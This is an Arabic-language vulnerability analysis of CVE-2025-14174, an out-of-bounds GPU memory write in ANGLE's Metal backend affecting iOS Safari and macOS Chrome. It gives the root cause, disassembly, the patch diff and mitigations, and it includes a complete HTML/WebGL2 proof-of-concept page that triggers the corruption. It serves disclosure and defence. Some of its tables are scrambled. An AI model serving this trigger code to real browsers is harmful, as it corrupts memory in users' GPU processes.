
تحليل و PoC لـ CVE-2025-14174 - كتابة خارج الحدود في ANGLE Metal (iOS Safari, macOS Chrome)
تحليل فني وإثبات المفهوم لـ CVE-2025-14174
| CVE | CVE-2025-14174 |
| Severity | عالي |
| Exploited ITW | نعم – هجمات موجهة على iOS < 26 |
| Affected | iOS Safari، وmacOS Chrome/Chromium/Electron (وليس macOS Safari) |
| Status | تم التصحيح في commit ANGLE 95a32cb |
| Credit | Apple، مجموعة تحليل التهديدات من Google |
وفقًا لـ Apple، تم استغلال CVE-2025-14174 كجزء من "هجوم شديد التعقيد ضد أفراد محددين" على إصدارات iOS قبل iOS 26.
تضمنت سلسلة الهجوم ما يلي:
توجد ثغرة كتابة خارج الحدود (OOB) في النهاية الخلفية Metal لـ ANGLE عند تحميل نسيج العمق عبر مخزن مؤقت (staging buffer). يتم حساب حجم المخزن المؤقت باستخدام GL_UNPACK_IMAGE_HEIGHT بدلاً من ارتفاع النسيج الفعلي. عندما يكون UNPACK_IMAGE_HEIGHT < height، يخصص ANGLE مخزنًا غير كافٍ ثم يكتب عدد height من الصفوف فيه، مما يسبب تلفًا في ذاكرة GPU في عملية التقديم (renderer process).
تؤثر هذه الثغرة على التطبيقات التي تستخدم النهاية الخلفية Metal لـ ANGLE لواجهة WebGL:
iOS Safari متأثر. على iOS، يستخدم WebKit ANGLE كنهاية خلفية لـ WebGL، مما يجعل Safari على iPhone وiPad عرضة للخطر.
macOS Safari غير متأثر. على macOS، يستخدم Safari Native WebGL الخاص بـ WebKit والذي يتفاعل مباشرة مع Metal، متجاوزًا ANGLE تمامًا.
macOS Chrome متأثر. بدا Google Chrome الذي يعمل على macOS 26.1 عرضة للخطر أثناء الاختبار، لأنه يستخدم النهاية الخلفية Metal لـ ANGLE لواجهة WebGL.
يوجد المسار البرمجي القابل للاستغلال في فئة TextureMtl الخاصة بـ ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).
| الخطورة | الوصف |
|---|---|
| مؤكد | كتابة في النهاية الخلفية لـ GPU/Metal بعد نهاية المخزن المؤقت المؤقت |
| مؤكد |
الخصائص الرئيسية:
NO_ERROR)في مسار تحميل نسيج العمق D32F، يحسب ANGLE pixelsDepthPitch من GL_UNPACK_IMAGE_HEIGHT ويستخدم هذه القيمة لحجم MTLBuffer المؤقت. ومع ذلك، فإن الإرسال الحسابي اللاحق (تشبع العمق) يستخدم ارتفاع النسيج الفعلي للتشغيل، مما يسبب كتابة خارج الحدود عند اختلاف المعاملات.
بالنسبة لـ width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:
يجب أن تكون جميع الشروط التالية صحيحة:
DEPTH_COMPONENT32F (تم التحقق منه؛ قد تتأثر تنسيقات العمق الأخرى أيضًا ولكن لم يتم اختبارها)PIXEL_UNPACK_BUFFERGL_UNPACK_IMAGE_HEIGHT إلى قيمة أقل من ارتفاع النسيج الفعليGL_UNPACK_IMAGE_HEIGHT معرفة بمواصفات GL للتأثير على تحميل نسيج 3D/array، وليس على نسيج 2D. بالنسبة لـ TEXTURE_2D:
UNPACK_IMAGE_HEIGHT < height للنسيج 2DWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← UNDERSIZED
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USES REAL HEIGHT
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch)
0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack
0x22c6d4628: bl MakeBufferWithStorageMode
تقوم دالة SaturateDepth لاحقًا بإرسال شيدر حسابي Metal باستخدام أبعاد النسيج الفعلية، فتكتب بعد نهاية المخزن المؤقت المؤقت غير الكافي.
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << smaller than actual height
// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
النتيجة المتوقعة على الأنظمة الضعيفة: يعيد gl.getError() قيمة NO_ERROR على الرغم من حدوث الكتابة خارج الحدود في عملية GPU.
commit ANGLE 95a32cb يصحح تخصيص المخزن المؤقت المؤقت لاستخدام أبعاد النسيج الفعلية:
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
بالإضافة إلى ذلك، تم تصحيح حساب srcBytesPerImage لعملية blit:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
من الصعب اكتشاف هذه الثغرة من JavaScript:
NO_ERROR حتى عند تشغيل الخلل| النهج | الوصف |
|---|---|
| التحديث | طبق تحديثات المنصة التي تحتوي على تصحيح ANGLE |
| الحل البديل | تجنب تعيين UNPACK_IMAGE_HEIGHT أصغر من الارتفاع الفعلي لنسيج العمق |
اكتشاف الثغرة: Apple، مجموعة تحليل التهديدات من Google
التحليل الفني: يوثق هذا التقرير بحثًا مستقلاً وهندسة عكسية للثغرة.
تم إجراء التحليل كجزء من مشروع أبحاث أمان SpiderWebKit.
| المنصة | البرنامج | متأثر | ملاحظات |
|---|
| iOS | Safari | نعم | يستخدم WebKit على iOS ANGLE Metal لـ WebGL |
| macOS | Chrome / Chromium | نعم | يستخدم النهاية الخلفية ANGLE Metal |
| macOS | تطبيقات Electron | نعم | يستخدم تطبيق ANGLE الخاص بـ Chromium |
| macOS | Safari | لا | يستخدم Native Metal WebGL الخاص بـ WebKit، وليس ANGLE |
| قابل للتكرار عبر WebGL2 + PBO + DEPTH_COMPONENT32F |
| محتمل | تعطل عملية GPU أو فقدان السياق تحت ضغط الذاكرة |
| نظري | تلف عبر الموارد في ذاكرة GPU (لم يتم إثباته) |
| المعامل | الحساب | القيمة |
|---|
| طول الصف | width * sizeof(float) | 4 بايت |
| المخزن المؤقت المؤقت (المخصص) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 بايت |
| الإرسال الحسابي (المكتوب) | rowPitch * actualHeight | 2048 بايت |
| الكتابة خارج الحدود | 2048 - 512 | 1536 بايت |
| الدالة | العنوان | الدور |
|---|
setSubImageImpl | 0x272fa9028 | تحسب depthPitch بحجم أصغر |
setPerSliceSubImage | 0x272fac240 | تخصص مخزنًا مؤقتًا غير كافٍ |
MakeBufferWithStorageMode | 0x272ef19bc | تنشئ MTLBuffer بحجم خاطئ |
SaturateDepth | 0x272facfa4 | تُرسل حسابات بأبعاد فعلية |
| الدالة | العنوان | الدور |
|---|
setSubImageImpl | 0x22c6d10f4 | تحسب depthPitch بحجم أصغر |
setPerSliceSubImage | 0x22c6d4398 | تخصص مخزنًا مؤقتًا غير كافٍ |
MakeBufferWithStorageMode | 0x22c619490 | تنشئ MTLBuffer بحجم خاطئ |
SaturateDepth | 0x22c6d5144 | تُرسل حسابات بأبعاد فعلية |
| الدفاع في العمق |
استخدم تحميلات بحجم ثابت حيث UNPACK_IMAGE_HEIGHT == height |